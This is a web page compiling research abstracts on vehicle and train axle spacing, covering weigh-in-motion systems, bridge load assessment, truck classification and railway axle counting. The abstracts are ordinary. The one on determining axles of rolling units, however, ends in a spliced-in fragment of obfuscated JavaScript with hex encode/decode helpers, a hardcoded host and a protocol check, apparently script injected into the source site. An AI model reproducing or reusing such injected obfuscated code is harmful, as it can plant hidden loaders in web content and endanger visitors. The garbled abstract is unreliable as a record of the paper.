Axle Spacing Research Articles

A prototype IOT based wireless sensor network for traffic information monitoring

An Internet of things (IOT) based wireless sensor system, solely using wireless accelerometers, is developed for traffic volume and vehicle classification monitoring in this paper. A series of laboratory tests, field tests as well as numerical simulation were performed to validate the feasibility and accuracy of the monitoring system. Besides, in order to eliminate the impacts of noises in the output signals, an advanced algorithm is developed to analyze the test data. The findings based on the test results indicate that the system is capable of reliably detecting axles and calculating axle spacing in both laboratory and field tests. In addition, compared with the actual measurements, the numerical simulation further validates the feasibility of the integrated wireless sensor system for traffic information monitoring.

WIM-based assessment of load effects on bridges due to various classes of heavy trucks

This study presents statistical evaluations of extreme load effects on bridges due to different truck classes. Using the developed information, a set of procedures are proposed to conduct probabilistic assessments of the relative severity of any heavy truck loading on simply-supported bridges. The truck information used in the analyses was recorded in one entire year by weigh-in-motion stations located throughout the State of Wisconsin. Data on the heaviest five percent of trucks in each truck class-axle group were extracted for analyses. Best-fit unimodal and multimodal statistical distributions for all axle loads and axle spacings (in each truck class-axle group) were determined. Standard and empirical copulas were generated to allow consideration of interdependencies between various marginal distributions. The accuracy of the developed marginal distributions and empirical copulas were verified using multivariate Monte Carlo simulations. Simulations were also used to determine magnitudes (and percentiles) of moments and shears on simply-supported bridges of various span lengths of up to 240ft (73.2m) for different truck class-axle groups. Procedures are provided for assessing the relative magnitude of moments/shears due to any heavy truck as percentile of each truck class-axle group, or as percentile of the entire truck population. This could allow the process of issuing truck permits to be based on a chosen probability of exceedance. Results indicate that the Class 9 truck statistics can be used to represent the extreme load effects associated with all truck classes/groups combined.

A Probabilistic Approach to Improve the Accuracy of Axle-Based Automatic Vehicle Classifiers

This paper details a simple and novel approach to solve the assignment problem of finding optimum thresholds for axle-based vehicle classifiers. A case study utilizing Oklahoma's axle-based classification stations was conducted in an effort to build, analyze, and verify the proposed solution. An extensive axle-space database with over 20 000 vehicle samples covering all 13 classes of the Federal Highway Administration's Scheme F was constructed. Histograms and Gaussian distribution fitting were individually done per class, per axle spacing, and from data gathered. Optimal class boundary thresholds were computed using the derived distributions, and a new classification algorithm was constructed. Results of field testing concluded that the newly proposed algorithm outperformed the existing one currently installed statewide and used by the other states as well. A significant false detection classification error reduction was achieved at a rate of 43% for class 8, 21% for class 5, 5% for class 6, and a combined reduction of 26% for classes 2 and 3. In addition, a misdetection error reduction of 21% for class 6, 13% for class 5, and a combined reduction of 37% for classes 2 and 3 was noted. A consolidated system error reduction relative to vehicle type was 15% for multiunit trucks of classes 8 to 13, 4% for single-unit trucks of classes 5 to 7, and 57% for passenger vehicles of classes 1 to 4. The process of calibrating the classification scheme was found to be completely transferable, thus could effectively be used to optimize classification algorithms in other states.

Non-intrusive schemes for speed and axle identification in bridge-weigh-in-motion systems

Bridge weigh-in-motion (BWIM) is an approach through which the axle and gross weight of trucks travelling at normal highway speed are identified using the response of an instrumented bridge. The vehicle speed, the number of axles, and the axle spacing are crucial parameters, and are required to be determined in the majority of BWIM algorithms. Nothing-on-the-road (NOR) strategy suggests using the strain signals measured at some particular positions underneath the deck or girders of a bridge to obtain this information. The objective of this research is to present a concise overview of the challenges of the current non-intrusive schemes for speed and axle determination through bending-strain and shear-strain based approaches. The problem associated with the global bending-strain responses measured at quarter points of span is discussed and a new sensor arrangement is proposed as an alternative. As for measurement of local responses rather than the global responses, the advantage of shear strains over bending strains is presented. However, it is illustrated that shear strains at quarter points of span can only provide accurate speed estimation but fail to detect the correct number of axles. As a remedy, it is demonstrated that, even for closely-spaced axles, the shear strain at the beginning of the bridge is capable of reliably identifying the number of axles. In order to provide a fully automated speed and axle identification system, appropriate signal processing including low-pass filtering and wavelet transforms are applied to the raw time signals. As case studies, the results of experimental testing in laboratory and on a real bridge are presented.

New Approach for Screening Overweight Vehicles: Allowable Ranges of Axle Configurations

Throughout the United States, state agencies are issuing an increasingly large number of permits for overweight vehicles every year. State agencies use various methods to process permit requests. The Indiana Department of Transportation employs a screening process that consists of the Tennessee Formula (allowable weight is determined and checked, for every axle group) in combination with the gross vehicle weight limit. If a permit truck satisfies these two screening criteria, it is permitted; otherwise, it is further processed with refined analyses. However, the Tennessee Formula is based on allowable stress design. As a result, cases were observed in which the load effects produced by a truck that would be permitted by the Tennessee Formula actually exceeded load effects produced by the set of rating vehicles when the load factor rating method or the load and resistance factor rating method was employed. The set of rating vehicles is considered a minimum threshold that any nonposted bridge must be able to withstand. This paper presents a different approach for evaluating requests for overweight vehicle permits. Load effects from the set of rating vehicles and typical permit vehicles were directly compared, and screening vehicles with defined ranges of axle weights and axle spacings were developed and recommended for permitting decisions. This method is ( a) safe; ( b) simple, because it can be used easily by nontechnical personnel; and ( c) practical, because a large number of actual permit trucks fall within the proposed screening vehicles.

Effect of live load on simply supported bridges under a random traffic flow based on weigh-in-motion data

Weight, speed, axle space, and following distance of the vehicles are important factors that determine the live load for simply supported beam bridges. In this study, the effect of live load on simply supported bridges was investigated by considering these parameters. The parameters namely weight, speed, longitudinal following space, and vehicle occupancy ratio on different driving lanes are considered using different numerical models. Then, the random traffic flow is simulated using Monte Carlo method based on Nan-xi Yangzi River Bridge’s weigh-in-motion system data. Finite element models are established for six types of simply supported beam bridges with the span ranging from 6 to 40 m and transient analysis is simulated under the traffic loading. Subsequently, the maximum value distribution of live load for lifetime is obtained for the collected data by the method of extrapolation. This study shows that the mean value of the live load for the simply supported beam bridges under a random traffic flow is lower than the permissible design load as per American Association of State Highway and Transportation Officials; however, it is higher than the permissible design load as per BS5400, and it is 0.82 times the Highway-I standard load.

Weigh-in-motion implementation in an old metallic railway bridge

The structural assessment of old metallic bridges is a challenge for civil engineers. This is mainly due to difficulties in identifying material properties and vehicle characteristics. A great number of these bridges were built with materials that are no longer used in modern structures and are presently subjected to loads very different from the ones considered in the design. In this context, structural monitoring can be an important tool to characterize the structural behavior and to support the safety assessment. In this paper, the steps taken to implement a Bridge-Weigh-in-Motion algorithm for traffic characterization in a railway bridge are presented. For that purpose, a long term monitoring system based on strain gauges was installed in the Portuguese Trezói Bridge. The measurements from a period of approximately two years were used to obtain axle loads, axles spacing and velocities of the trains that crossed the bridge during this period, enabling the accurate characterization of the real traffic conditions. This was achieved applying a method for traffic characterization based on the research developed by Moses (1979) and also based on the recent research developed by Liljencrantz et al. (2007) and Quilligan (2003), which was enhanced by an optimization algorithm implemented to minimize the error of the simulated response when compared to the measured response of the structure, thus allowing the estimation axle loads, axle spacing and speed.

Statistical Parameters of In-A-Lane Multiple Truck Presence and a New Procedure to Analyze the Lifetime of Bridges

Design and evaluation of highway bridges requires the assessment of live loads, which can involve a considerable degree of uncertainties. These uncertainties typically refer to the number of vehicles, weight of vehicles, headway distance, type of vehicles, axle spacing, axle load, speed of vehicles and other factors. Therefore, in order to perform a reliability analysis, it is necessary to consider live load as a random variable. Multiple truck presence (MTP) and headway distance also are two random variables that should be deliberated for the assessment of live load. The basic goal of this study is to update the statistical parameters of in-a-lane MTP, using the recent available weigh-in-motion (WIM) data, and then delineate the relationship between the bridge lengths and the influence of MTP events. However, since MTP is a time-dependent variable, the statistical parameters of MTP influences should be determined for the considered lifetime of the bridge. Therefore, the main contribution of this study is to propose a new methodology to calculate the statistical parameters of MTP for different time periods. The dataset for this study includes WIM data from 19 stations throughout the United States, which were collected by the Federal Highway Administration over 5 years, with timestamp accuracy of one-hundredth of a second.

Probabilistic structural integrity evaluation of a highway steel bridge under unknown trucks

This paper presents fragility curves derived from a best-fit regression model that enable to quantify probabilistic structural integrity of an in-service highway steel bridge under multiple truck passages with uncertain characteristics. The regression model is able to be identified via analytical modelling techniques incorporating the bridge response quantities resulting from unknown five-axle trucks through structural health monitoring system. These quantities coupled with weigh-in-motion (WIM) data obtained from two weigh stations closest to the bridge are used (1) to identify which unknown trucks are presumably to travel over the bridge and (2) to quantify the plausible characteristics of the trucks and the corresponding load ratings determined following the AASHTO Manual. With this information, the regression models can be made to demonstrate load ratings as the truck characteristics change. Based on the best-fitted load ratings, nine significant truck characteristics were looked at in their role in causing a below satisfactory bridge capacity. Key findings reveal that the all axle weights affect the fragility curves though the axle weights are not significantly different, and the most significant axle spacing is the first spacing.

Integration of Weigh-in-Motion (WIM) and inductive signature data for truck body classification

Transportation agencies tasked with forecasting freight movements, creating and evaluating policy to mitigate transportation impacts on infrastructure and air quality, and furnishing the data necessary for performance driven investment depend on quality, detailed, and ubiquitous vehicle data. Unfortunately in the US, currently available commercial vehicle data contain critical gaps when it comes to linking vehicle and operational characteristics. Leveraging existing traffic sensor infrastructure, we developed a novel, readily implementable approach of integrating two complementary data collection devices, Weigh-in-Motion (WIM) systems and advanced inductive loop detectors (ILD), to produce high resolution truck data. For each vehicle traversing a WIM site, an inductive signature was collected along with WIM measurements such as axle spacing and weight which were then used as inputs to a series of truck body classification models that encompass all truck classes in the most common axle-based Federal Highway Administration (FHWA) classification scheme in the US. Since body configuration can be linked to commodity carried, drive and duty cycle, and other distinct operating characteristics, body class data is undeniably useful for freight planning and air quality monitoring. A multiple classifier systems (MCS) method was adopted to increase the classification accuracy for minority body classes. In all, eight separate body classifications models were developed from an extensive data set of 18,967 truck records distinguishing an unprecedented total of 23 single unit truck and 31 single and semi-trailer body configurations, each with over 80% correct classification rates (CCR). Remarkably, the body class model for five axle semi-tractor trailers – the most diverse truck category – achieved MCS CCRs above 85% for several industry specific classes including refrigerated and non-refrigerated intermodal containers, livestock, and logging trailers.

The Improvement of the Design Standard of Overloaded Highway

With the development of the transportation industry, the trend of overload is obviously, design load of highway bridges needs to be improved. Based on the field investigation and data analysis, this study modifies the design standers of highway. The regularities on characteristics of models, vehicle weight and the distribution of axle load and spacing were studied. Using the Matlab programming language and the Monte Carlo numerical simulation method to simulate a random traffic model, then loaded on simple bridges and continuous bridges with different span in order to calculate bending effect. The data were compared with the first level in highway load code and proposed the load increase parameters: when the span is less than 20 m, then use 1.2 times the standard specification in bridge design; in other situation, use 1.3 times the standard factor. Analyzing the characteristic of the vehicle load, can not only give technical parameters for the quantitative analysis of overloading traffic effects on the fatigue damage of bridge, but also provide a reference for bridge design units and the operation management department. So it has great realistic significance and research value.

Contactless Bridge Weigh-in-Motion

AbstractBridge weigh-in-motion (WIM) uses existing bridges to find the weights of vehicles that pass overhead. Contactless bridge weigh-in-motion (cBWIM) uses bridges to weigh vehicles without the need for any sensors to be attached to the bridge. A camera is mounted on the back of a telescope, which magnifies the image to the extent that submillimeter bridge deflections can be measured accurately. A second camera is used to monitor traffic and to determine axle spacings. The two cameras are synchronized using light-emitting diodes (LEDs) activated by an interval timer. The exact position of the test vehicle relative to the bridge influence line is determined by optimization at a postprocessing stage. The new WIM concept was tested on a bridge in the United Kingdom. In a modest test sample of eight statically weighed vehicles, cBWIM was shown to be a feasible alternative to other forms of WIM. Accuracy of gross weight is already reasonably good; accuracy of groups and individual axles will require greater...

Investigation of Truck Weights and Dimensions Using WIM Data

This paper presents a study carried out with extensive weigh-in-motion (WIM) data collected on the French main road network, involving 3 millions of trucks. The data were collected by three WIM stations located on highly trafficked highways and motorways, continuously over a whole year. The data were analyzed using statistical software developed by the US National Science Foundation.The trucks of the traffic flow were classified into almost 20 categories, depending on the silhouette, number and spacing of axles, body configuration (trailer/semi-trailer), type of axles (steering, driving or standard axle) and wheel or tire (single, twin, wide). The data were analyzed by category.The location of the centre of gravity of the payload was calculated and the variability of its abscissa along the vehicle was analyzed in each category. The loading patterns and behavior were analyzed and the results reported here for 5-axle articulated trucks and 2-axle rigid truck with 2-axle trailer.Then, the axle load distributions were analyzed by axle rank and truck category, and modeled with multimodal Gaussian probability distribution functions. The modes have been determined using a maximum of likelihood method. These modes are useful to design endurance tests of truck tires.These investigations provide a better knowledge about truck loading, overloads and truck aggressiveness on infrastructure, and may lead to optimization policies. In this case, the results are used directly in the domain of tyre optimization.

IMPROVEMENT PROCEDURES FOR DETERMINING THE QUANTITY AND NUMBER OF AXLES OF ROLLING UNITS

Purpose. Building of information and control systems, rolling unit traffic control systems, both within the station and on the adjacent tracks, is closely linked to the identification systems. This paper presents the identification method allowing to determine the quantity and number of axles of rolling units that have passed the control section. The purpose of this work is to improve procedures for determining the quantity and number of axles of rolling units with minimal equipment or no additional cost, using the existing equipment installed on the tracks for other tasks. It should be possible to improve the reliability of other identification systems. Methodology. To achieve this purpose at first the analysis of rolling unit axle spacing for 1520 mm gauge (of carriages and locomotives) was conducted. There were developed the mathematical and simulation models of rolling unit movement process through the control section, with a single control point located on it. The simulation results were processed by means of the theory of probability and mathematical statistics. Results. On the basis of the mathematical model there was developed the simulation model that allows to carry out experiments for different kinds (uniformly accelerated, uniform, uniformly decelerated) of motion of rolling unit and sensor errors. Based on simulation results there were derived the values of waiting time coefficients for each type of motion, as well as the universal coefficient for all types of motion. The critical sensor error values were analysed depending on the parameters of identified rolling units. This method is critical to the change in acceleration, stop and reverse movements of rolling units. Originality. This paper presents the improved rolling stock identification method that allows to determine the quantity and number of axles of locomotive and (or) carriages, which passed the single-point control section. The procedure for determining the quantity and number of axles of rolling units was improved by adjusting the waiting time coefficients for wheelset fixing. This takes into account the sensor error and the value of the identifiable rolling unit acceleration. Practical value. Application of this method allows to increase the reliability and informative value of already developed identification methods provided their joint use. This method can be also applied as an independent method for rolling unit identification using the minimum equipment.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tstt.diit.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Integrated structural health monitoring system and multi-regression models for determining load ratings for complex steel bridges

This paper presents a multi-regression-based framework to efficiently and accurately determine load ratings of complex steel bridges. To validate the efficiency and accuracy of the proposed framework, the framework was applied to an in-service steel bridge located in Iowa. A network of strain sensors was placed on critical regions of the bridge to capture its behaviors resulting from actual ambient five-axle trucks. To approximate the trucks, relevant Weigh-In-Motion (WIM) data were secured from two weigh stations nearest the bridge. As part of the load rating calculation process, strain sensors were tested for significance and compared to the WIM data to explore which trucks significantly affect the sensors. Four different regression methods were used with the significant WIM data that were condensed to match the size of conventional rating data obtained from a series of structural analyses of the bridge based upon the AASHTO Manual. The four different truck data sets obtained from the regression methods were then each combined with the conventional data to create the corresponding regression models to predict load ratings. The predicted data were compared to the conventional data to determine the best fit regression model. Using the best fit model, a sensitivity analysis was performed to test which truck characteristic parameters affect the predicted ratings the most. Findings indicated that the framework can build the best fit regression model capable of accurately and rapidly predicting load ratings given unknown truck data. It was also found that each axle weight and the largest axle spacing have a great influence on the predicted ratings, implying that these variables may be holistically considered to ensure structural safety of steel bridges subjected to unknown trucks.

Weighing in motion and characterization of the railroad traffic with using the B-WIM technique

AbstractThe knowledge on the active moving load of a bridge is crucial for the achievement of the information on the behavior of the structure, and thus foresee maintenance, repairs and better definition of the logistics of its active vehicles. This paper presents the development of the algorithms for the application of the Bridge-Weigh In Motion (B-WIM) method created by Moses for the weighing of trains during motion and also for the characterization of the rail traffic, allowing the obtainment of information like passage's train velocity and number and spacing of axles, eliminating the dynamic effect. There were implemented algorithms for the determination of the data referring to the geometry of the train and its loads, which were evaluated using a theoretical example, in which it was simulated the passage of the train over a bridge and the loads of its axles were determined with one hundred percent of precision. In addition, it was made a numerical example in finite elements of a reinforced concrete viaduct from the Carajás' Railroad, in which the developed system reached great results on the characterization and weighing of the locomotive when the constitutive equation of the Brazilian Standards was substituted by the one proposed by Collins and Mitchell.

Maximum Dynamic-Load Allowance of Bridge with GFRP-Reinforced Concrete Deck

AbstractThe 26.87-m, single-span Beaver Creek Bridge on U.S. Highway 6 in Utah was built in 2009. Elements of the bridge included AASHTO Type IV prestressed concrete girders and posttensioned, full-depth, precast concrete deck panels reinforced with glass fiber reinforced polymer (GFRP) bars. The bridge was given three static and five dynamic truck load–controlled tests before it was opened to traffic. Vertical acceleration data was also collected from random truck traffic. Dynamic truck load data was used to verify a finite element model and obtain dynamic load allowance (DLA) values. DLA was determined to be a function of the number of axles, axle group weight, and axle spacing. The maximum DLA for the bridge with a GFRP-reinforced concrete deck was found to be less than the value specified in the AASHTP LRFD Bridge Design Specifications.

Are double trailers cost effective for transporting forest biomass on steep terrain?

Transportation of forest biomass on steep terrain involves logistical challenges. Trucks with large single trailers are often unable to travel on forest roads due to their narrowness, tight curves, adverse grades and limited areas to turn around. A shorter trailer must be used but then transportation capacity is limited by the trailer volume due to the low bulk density of the processed biomass, particularly when the biomass is dry. With double trailers, transportation capacity can be limited by allowable legal weight based on axle number and spacing. We developed a simulation model that explores the economic feasibility of using double-trailer configurations to transport forest biomass to a bioenergy facility from the grinder at a landing or from a centralized yard in Washington, Oregon and California. Results show that double trailers can be a cost effective alternative to single trailers under limited conditions in Oregon and Washington, but they are not a competitive option in California due to the state's transportation regulations.

Generalized Method and Monitoring Technique for Shear-Strain-Based Bridge Weigh-in-Motion

AbstractDevelopment and testing of a new type of bridge weigh-in-motion system (BWIM) based on the measurement of shear forces near the supports of the bridges is described. The proposed system is applicable to both determinate as well as indeterminate bridges. Fiber-optic Bragg grating rosette sensors were used in this approach. Formulations are based on the establishment of shear influence lines in terms of axle weights and spacings. The system further involves calibration for the estimation of a bridge parameter α, which is a function of the cross-sectional and material properties of the bridge. Three different bridges, one box-girder prestressed concrete bridge and two concrete-slab-on-steel-girder bridges with different span lengths, were instrumented for the evaluation of the proposed BWIM system. Field implementation involved a series of truck runs for calibration and evaluation of the BWIM system. Measured and actual truck-axle weights, spacings, and axle speeds as well as the gross vehicle weight...

Moving train loads and parameters identification on a steel truss girder model

This paper presents a new system for moving train loads and its parameters identification. A model of simply supported truss girder is constructed according to a side span of Poyang Lake continuous steel truss girder. The moving train loads are simulated by a model train with three coaches. In this system, time history displacements of measurement stations on bridge are simultaneously measured by using displacement image monitoring system when the model train moves across the bridge. Basic parameters of the model train, including moving speed, axle numbers and axle spacing, are identified with a parameter acquisition system. Finally moving train loads are identified by using multi-axle moving loads identification system. A series of experiments have been conducted. Effects of a few main parameters on the proposed system are investigated. The result shows that this system is a feasible and accurate method for the identification and makes preparations for the practical practice in engineering.